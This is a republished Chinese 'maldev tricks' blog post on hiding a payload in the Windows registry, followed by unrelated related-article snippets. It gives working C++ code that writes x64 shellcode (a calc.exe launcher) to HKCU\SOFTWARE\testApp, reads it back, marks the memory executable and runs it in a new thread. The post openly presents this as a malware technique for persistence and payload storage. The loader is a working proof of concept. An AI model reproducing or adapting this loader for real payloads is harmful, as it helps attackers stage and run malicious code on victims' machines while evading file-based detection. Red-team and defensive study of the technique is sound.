maldev tricks在注册表中存储 payload

简介

注册表是 Windows 操作系统中一个重要的数据库,它包含 Windows 操作系统和应用程序的重要设置和选项。由于注册表的功能非常强大,因此注册表对于恶意程序来说是非常有利用价值的。

在 windows 注册表中存储二进制数据,这是一种常见的技术,常被恶意软件用于持久化或存储恶意的 payload。

在注册表中存储二进制数据

bool StoreBinaryDataInRegistry(const std::wstring& subKeyPath, const std::wstring& vauleName, const void* binaryData, DWORD dataSize)
{HKEY hkey;LSTATUS res = RegCreateKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hkey, NULL);if (res == ERROR_SUCCESS){res = RegSetValueExW(hkey, vauleName.c_str(), 0, REG_BINARY, reinterpret_cast<const BYTE*>(binaryData), dataSize);RegCloseKey(hkey);}return (res == ERROR_SUCCESS);
}

上述代码将二进制数据存储到 Windows 注册表中。

取出存储的二进制数据

bool GetBinaryDataFromRegistry(const std::wstring& subKeyPath, const std::wstring& valueName, std::vector<BYTE>& outBuffer)
{HKEY hKey;LSTATUS res = RegOpenKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, KEY_READ, &hKey);if (res != ERROR_SUCCESS) {return false;}DWORD dataType;DWORD dataSize = 0;res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, nullptr, &dataSize);if (res != ERROR_SUCCESS || dataType != REG_BINARY) {RegCloseKey(hKey);return false;}outBuffer.resize(dataSize);res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, &outBuffer[0], &dataSize);RegCloseKey(hKey);return (res == ERROR_SUCCESS);
}

上述代码将从注册表指定位置取出二进制数据保存在 vector 中。

测试

int main()
{unsigned char calc_thread64_bin[] = {0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};unsigned int calc_thread64_bin_len = 276;StoreBinaryDataInRegistry(L"SOFTWARE\\testApp", L"test", calc_thread64_bin, calc_thread64_bin_len);std::vector<BYTE> payload;GetBinaryDataFromRegistry(L"SOFTWARE\\testApp", L"test", payload);auto execMem = VirtualAlloc(NULL, calc_thread64_bin_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);memmove(execMem, payload.data(), calc_thread64_bin_len);DWORD oldProtect;auto ret = VirtualProtect(execMem, calc_thread64_bin_len, PAGE_EXECUTE_READ, &oldProtect);if (ret != 0) {HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;
}

上述测试代码首先使用 StoreBinaryDataInRegistry 将 payload 写入注册表指定位置(HKCU\SOFTWARE\testApp)下的 test 字段,之后从使用GetBinaryDataFromRegistry 取出 payload 数据并创建线程执行 payload。

效果:写入注册表中指定位置的数据。

图片

当程序成功执行将弹出计算器窗口。

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/3702.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

每天一个数据分析题(二百九十六)

订单详情表是以每一笔订单的每一件商品为最小业务记录单位进行记录的&#xff0c;那么可能成为订单详情表的主键字段的是&#xff1f; A. 订单编号 B. 产品编号 C. 订单ID D. 订单编号产品编号 题目来源于CDA模拟题库 点击此处获取答案 cda数据分析考试&#xff1a;点击…

十七、Java网络编程(一)

1、Java网络编程的基本概念 1)网络编程的概念 Java作为一种与平台无关的语言,从一出现就与网络有关及其密切的关系,因为Java写的程序可以在网络上直接运行,使用Java,只需编写简单的代码就能实现强大的网络功能。下面将介绍几个与Java网络编程有关的概念。 2)TCP/IP协议概…

MVP+敏捷开发

MVP敏捷开发 1. 什么是敏捷开发&#xff1f; 敏捷开发是一种软件开发方法论&#xff0c;旨在通过迭代、自组织的团队和持续反馈&#xff0c;快速响应需求变化并交付高质量的软件。相较于传统的瀑布模型&#xff0c;敏捷开发强调灵活性、适应性和与客户的紧密合作。敏捷开发方…

qml和c++结合使用

目录 文章简介1. 创建qml工程2. 创建一个类和qml文件&#xff0c;修改main函数3. 函数说明&#xff1a;4. qml 文件间的调用5. 界面布局6. 代码举例 文章简介 初学qml用来记录qml的学习过程&#xff0c;方便后面归纳总结整理。 1. 创建qml工程 如下图&#xff0c;我使用的是…

【北京迅为】《iTOP龙芯2K1000开发指南》-第四部分 ubuntu开发环境搭建

龙芯2K1000处理器集成2个64位GS264处理器核&#xff0c;主频1GHz&#xff0c;以及各种系统IO接口&#xff0c;集高性能与高配置于一身。支持4G模块、GPS模块、千兆以太网、16GB固态硬盘、双路UART、四路USB、WIFI蓝牙二合一模块、MiniPCIE等接口、双路CAN总线、RS485总线&#…

光伏无人机:巡检无人机解决巡检难题

随着科技的飞速发展&#xff0c;无人机技术已经广泛应用于各个领域&#xff0c;其中光伏无人机在解决光伏电站巡检难题方面发挥了重要作用。光伏无人机以其高效、精准、安全的特点&#xff0c;为光伏电站的巡检工作带来了革命性的变革。 光伏电站通常位于广阔的户外场地&#x…

webpack热更新原理详解

文章目录 前言基础配置创建项目HMR配置 HMR交互概览HMR流程概述HMR实现细节初始化注册监听编译完成事件启动服务监听文件代码变化服务端发送消息客户端收到消息热更新文件请求热更新代码替换 问题思考 前言 刷新分为两种&#xff1a;一种是页面刷新&#xff0c;不保留页面状态…

二叉树的三种遍历方式非递归

## 二叉树的遍历需要把当前根节点和左右子树抽象成只有一个根节点和一个左子树&#xff0c;一个右子树的情况 ##套路 二叉树的遍历先序中序后序无非是根节点的处理顺序不同&#xff0c;三种遍历方式都有一个相同的逻辑流程&#xff0c;不管怎么样首先将左子树入栈&#xff0c;遍…

Uniapp 跨页面传复杂参、传对象

1、需要传递参数的页面 attended(e) {this.id e.baseIdlet obj {page: this.page,size: this.pageSize,baseId: e.baseId,str: this.struni.navigateTo({url: /pages/index/index?item encodeURIComponent(JSON.stringify(obj))})}}, encodeURIComponent 2、接收参数的页…

GPU深度学习环境搭建:Win10+CUDA 11.7+Pytorch1.13.1+Anaconda3+python3.10.9

1. 查看显卡驱动及对应cuda版本关系 1.1 显卡驱动和cuda版本信息查看方法 在命令行中输入【nvidia-smi】可以当前显卡驱动版本和cuda版本。 根据显示,显卡驱动版本为:Driver Version: 516.59,CUDA 的版本为:CUDA Version 11.7。 此处我们可以根据下面的表1 显卡驱动和c…

大模型咨询培训老师叶梓:利用知识图谱和Llama-Index增强大模型应用

大模型&#xff08;LLMs&#xff09;在自然语言处理领域取得了显著成就&#xff0c;但它们有时会产生不准确或不一致的信息&#xff0c;这种现象被称为“幻觉”。为了提高LLMs的准确性和可靠性&#xff0c;可以借助外部知识源&#xff0c;如知识图谱。那么我们如何通过Llama-In…

将阿里云中数据传输到其他超算服务器

目录 方法一&#xff1a;在阿里云中连接超算&#xff0c;然后使用rsync&#xff08;速度慢&#xff09; 方法2&#xff1a;rclone(速度很快&#xff0c;100G只花了大约20min) 方法一&#xff1a;在阿里云中连接超算&#xff0c;然后使用rsync/scp&#xff08;速度慢&#xff0…

网贷大数据黑名单要多久才能变正常?

网贷大数据黑名单是指个人在网贷平台申请贷款时&#xff0c;因为信用记录较差而被列入黑名单&#xff0c;无法获得贷款或者贷款额度受到限制的情况。网贷大数据黑名单的具体时间因个人信用状况、所属平台政策以及银行审核标准不同而异&#xff0c;一般来说&#xff0c;需要一定…

CrushFTP 服务器端模板注入漏洞复现(CVE-2024-4040)

0x01 产品简介 CrushFTP是由CrushFTP LLC开发的文件传输服务器软件。CrushFTP的主要用途是提供安全、可靠的文件传输服务。它允许用户通过多种协议(如FTP、SFTP、HTTP、WebDAV等)安全地上传、下载和管理文件。CrushFTP提供了许多安全特性,包括SSL/TLS加密、用户认证、目录权…

DDD领域驱动的核心概念

概述 领域的范围关系 领域包含限界上下文&#xff0c;限界上下文包含子域&#xff0c;子域包含聚合&#xff0c;聚合包含实体和值对象。 领域-》限界上下文-》子域&#xff08;微服务&#xff09;-》聚合-》实体值对象。 DDD分层架构 用户接口层 用户接口层是前端应用于微…

mac: docker安装及其Command not found: docker

已经安装了docker desktop&#xff0c;没安装的 点击安装 傻瓜式安装即可 接着打开终端&#xff1a;好一个 Comand not found:docker 看我不把你整顿&#xff0c;解决如下&#xff1a; 如果你在 macOS 上安装了 Docker Desktop&#xff0c;但是终端无法识别 docker 命令&…

微信搜一搜优化:今天你“搜一搜”了吗?

微信“搜一搜”功能的排名规则和机制是微信生态系统中非常重要的一部分&#xff0c;它决定了小程序、公众号、文章、直播等内容在搜索结果中的展示顺序。小柚给大家整理了一份对其排名规则和机制的详细解析&#xff1a; 首先&#xff0c;关键词匹配度是影响搜索结果排名的重要…

HashMap底层实现条分缕析

目录 题外话 正题 哈希表 哈希碰撞 HashMap底层实现 小结 题外话 又水了两天,怪我,在宿舍确实没什么状态,是时候调整调整了 正题 今天直接讲解HashMap底层实现 哈希表 哈希表又称散列表 是数组和单向链表的结合体 如下图 而哈希表存放元素机制是靠哈希函数解析关键…

【问题解决】DDP | 如何使用 DDP 模式来训练模型

在训练 pytorch 模型时&#xff0c;多卡并行训练能够很大程度上提升模型的训练效率 一般来说&#xff0c;有两种多卡并行的训练方式&#xff1a;DP 和 DDP 一、DP 和 DDP 的区别 DP&#xff08;Data Parallelism&#xff09;和DDP&#xff08;Distributed Data Parallelism&…

Jira搭建过程

看到很多小伙伴对jira有兴趣,我们今天就来分享一下jira的搭建吧 首先要明白jira是什么? 看来搭建jira也是我们测试人员需要具备的技能之一了.下面是详细的大家步骤: 1.系统环境准备 Centos 7.5 Mysql 5.6 Java1.8 2.软件安装包 atlassian-jira-software-7.13.0-x64.bin …